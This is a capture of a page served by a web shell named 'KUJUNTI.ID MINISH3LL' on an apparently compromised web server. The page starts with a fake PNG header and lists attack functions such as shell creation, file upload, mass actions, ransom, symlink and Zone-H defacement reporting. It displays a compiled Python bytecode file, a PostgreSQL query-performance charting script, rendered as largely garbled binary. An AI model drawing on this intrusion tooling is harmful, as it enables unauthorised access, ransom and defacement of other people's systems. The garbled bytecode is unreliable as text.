\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv8/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv8/__pycache__/performance_charts.cpython-310.pyc


o

|��gA$�@sDdZddlZddlZddlZddlZddlZddlmZ	ddl
ZddlmZddl
Z
de	jd<ejejdd�e�e�Zej�dd	�Zejed
d�ddd�Zddd�Zddd�Zedkr�eej�dkr�eejd�Zeej�dkryeejd�ndZeej�dkr�ejdnd
Z eeee �Z!e"ej#e!dd��dSe"d�dSdS)u�
PostgreSQL performans verilerini görselleştirmek için script.

Bu script, PostgreSQL'den alınan sorgu performans verilerini Pandas DataFrame'e dönüştürür 
ve Matplotlib kullanarak statik grafikler oluşturur.
�N)�datetimezDejaVu Sanszfont.familyz4%(asctime)s - %(name)s - %(levelname)s - %(message)s)�level�format�static�chartsT)�exist_ok�
�total_exec_timecCsjz�d|d�d|d�d|d�d|d�d	|d
��
}t�|�}|��}d}|dkr.d
}n|dkr4d}d|�d�}|�||f�|��}dd�|jD�}	tj||	d�}
d}|�|�|��}t	|d�t	|d�t
|d�t	|d�d�}
|��|��|
d�dd��|
d<|
|
fWSt
y�}zt�dt|����t��ddddd�fWYd }~Sd }~ww)!un
    PostgreSQL veritabanından en çok kaynak tüketen sorguları alır ve DataFrame olarak döndürür.
    zhost=�hostz port=�portz user=�usernamez
 password=�passwordz dbname=�databaseztotal_exec_time DESC�callsz
calls DESC�rowsz	rows DESCa�
        SELECT 
            query,
            calls,
            rows,
            total_exec_time,
            CASE WHEN calls > 0 THEN total_exec_time / calls ELSE 0 END as avg_time,
            100.0 * total_exec_time / SUM(total_exec_time) OVER() as percentage_cpu
        FROM pg_stat_statements
        WHERE dbid = (SELECT oid FROM pg_database WHERE datname = current_database())
        ORDER BY z
        LIMIT %s
        cSsg|]}|d�qS)r�)�.0�descrr�D/var/www/html/yedekledb24/DatabaseBackupMaster/performance_charts.py�
<listcomp>Asz#get_top_queries.<locals>.<listcomp>)�columnsa[
        SELECT 
            COALESCE(sum(calls), 0) as total_calls,
            COALESCE(sum(rows), 0) as total_rows,
            COALESCE(sum(total_exec_time), 0) as total_exec_time,
            count(*) as query_count
        FROM pg_stat_statements
        WHERE dbid = (SELECT oid FROM pg_database WHERE datname = current_database())
        r���)�total_calls�
total_rowsr	�query_count�querycSs t|�dkr|dd�dS|S)N�z...)�len)�xrrr�<lambda>]s z!get_top_queries.<locals>.<lambda>�short_queryuSorgu verisi alınırken hata: N)�psycopg2�connect�cursor�execute�fetchall�description�pd�	DataFrame�fetchone�int�float�close�apply�	Exception�logger�error�str)�connection_info�limit�order_by�conn_str�
connectionr%�order_columnrrr�df�
summary_query�summary_row�summary�errr�get_top_queriessB6

�
	



�
"��r?c
Csv|jr
t�d�iS|pt���d�}t�d|�d|�d�t�d|�d|�d�t�d|�d|�d�t�d|�d|�d�d	�}tj�	d
�dt
jd<d
t
jd<d
t
jd<dt
jd<dt
jd<dt
jd<dt
jd<dt
jd<gd�}�z*tjdd�tj
tt|��|d|dt|��d�}tjtt|��|dddd �t�d!�t�d"�t�d#�t��tj|d$d%d&�t��tjdd�tj|d'|dd(d)|dt|��d*�t�d+�t�d,�t��tj|d-d%d&�t��tjdd�tj
tt|��|d.d/d�tjtt|��|dddd �t�d!�t�d0�t�d1�t��tj|d.d%d&�t��tjdd�tj|d|d'|d.d2tt|��d3d4�}t|d�D]\}}	tj|	|dj||d'j|fd5d6d7d8��qTt�d"�t�d9�t�d:�t��tj|d;d%d&�t��t�d<t�d=��|WSt�y�}
zt�d>t |
����iWYd}
~
Sd}
~
ww)?u�
    DataFrame'deki verilerden dört farklı grafik oluşturur ve kaydeder.
    
    Returns:
        dict: Grafik dosyalarının yollarını içeren bir sözlük
    u+Boş DataFrame, grafikler oluşturulamadı.z%Y%m%d%H%M%Sz/exec_time_�_z.pngz	/cpu_pct_z/calls_z	/scatter_)�execution_time�cpu_percentager�scatter�dark_backgroundz#666zaxes.edgecolorz#222zaxes.facecolorzfigure.facecolorz#444z
grid.colorz#DDDz
text.colorzaxes.labelcolorzxtick.colorzytick.color)
z#3498dbz#e74c3c�#2ecc71z#f39c12z#9b59b6z#1abc9cz#d35400z#34495ez#7f8c8dz#27ae60)r�)�figsizer	N)�colorr"�-�right)�rotation�ha�SorgularuÇalışma Süresi (ms)u%Sorgu Çalışma Süresi DağılımırA�d)�dpi�percentage_cpuz%1.1f%%�Z)�labels�autopct�
startangle�colors�equaluCPU Kullanım YüzdesirBrrEuÇağrı SayısıuSorgu Çağrı Sayısıg333333�?�viridis)�s�alpha�c�cmap)�r\z
offset points�)�xytext�
textcoords�fontsizeuCPU Kullanımı (%)u?Süre ve CPU Kullanımı İlişkisi (Boyut = Çağrı Sayısı)rCu&Grafikler başarıyla oluşturuldu ve z dizinine kaydedildi.u Grafikler oluşturulurken hata: )!�emptyr1�warningr�now�strftime�	CHART_DIR�plt�style�use�mpl�rcParams�figure�bar�ranger�xticks�xlabel�ylabel�title�tight_layout�savefigr.�pie�axisrC�	enumerate�annotate�iloc�infor0r2r3)r:�db_id�	timestamp�ts�chart_filesrU�barsrC�i�txtr>rrr�
create_chartsfs�
�







(


(




� 
�


��r�c
Csddlm}ddlm}m}ddlm}zX|||jd��}|�}|�|�j	|d��
�}	|	s9t�d|�d��Wd	S|	j
|	j|	j|	j|	jd
�}
|	jdkrSt�d�Wd	St|
||�\}}t||�}
|��|
|t|�d
�WSty�}zt�dt|����WYd	}~d	Sd	}~ww)uH
    Ana fonksiyon - veritabanı ID'si için grafikleri oluşturur.
    r)�DatabaseConnection)�scoped_session�sessionmaker)�db)�bind)�idzID=u olan veritabanı bulunamadı.N)r
rrr
r�
postgresqlu.Bu script sadece PostgreSQL için çalışır.)rr=rzHata: )�modelsr��sqlalchemy.ormr�r��appr��enginer�	filter_by�firstr1r2r
rrr
r�db_typer?r��removerr0r3)rzr5r6r�r�r�r��Session�session�db_connr4r:r=rr>rrr�main�s>�
	

���r��__main__rrr)�indentuBKullanım: python performance_charts.py <db_id> [limit] [order_by])rr	)N)Nrr	)$�__doc__�os�sys�json�logging�pandasr)�matplotlib.pyplot�pyplotrf�
matplotlibrirr#rj�basicConfig�INFO�	getLogger�__name__r1�path�joinre�makedirsr?r�r�r�argvr,rzr5r6�result�print�dumpsrrrr�<module>s6



I
]2 �

© KUJUNTI.ID